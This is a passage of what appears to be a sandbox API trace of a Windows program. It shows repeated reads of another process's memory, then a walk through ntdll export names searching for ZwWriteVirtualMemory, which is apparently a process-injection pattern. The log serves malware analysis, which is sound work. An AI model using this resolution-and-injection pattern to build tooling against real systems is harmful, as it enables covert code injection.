(in: ProcessHandle=0x17c, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.102] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.102] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.103] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.103] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.103] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.103] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.103] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.103] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.104] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.104] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.104] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.104] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.104] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.104] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.104] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.105] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.105] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.105] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.105] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.105] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.105] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.105] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.106] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.106] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.106] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.106] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.106] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.106] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.107] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.107] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.107] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.107] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.107] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.107] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.108] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.108] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.108] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.108] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.108] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.108] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.109] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.109] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0885000, Buffer=0x7fff, BufferSize=0x25d5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.109] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0886000, Buffer=0x7fff, BufferSize=0x25d6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.109] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0887000, Buffer=0x7fff, BufferSize=0x25d7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.110] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0888000, Buffer=0x7fff, BufferSize=0x25d8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.110] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0889000, Buffer=0x7fff, BufferSize=0x25d9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.110] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088a000, Buffer=0x7fff, BufferSize=0x25da000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.110] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088b000, Buffer=0x7fff, BufferSize=0x25db000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.110] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088c000, Buffer=0x7fff, BufferSize=0x25dc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.174] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwWriteVirtualMemory") returned -1 [0138.174] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.175] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwWriteVirtualMemory") returned -1 [0138.176] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgPrint", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwWriteVirtualMemory") returned -1 [0138.177] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwWriteVirtualMemory") returned -1 [0138.178] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwWriteVirtualMemory") returned -1 [0138.179] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetDllPath", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwWriteVirtualMemory") returned -1 [0138.180] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrProcessRelocationBlockEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrQueryOptionalDelayLoadedAPI", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrRemoveDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwWriteVirtualMemory") returned -1 [0138.181] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA 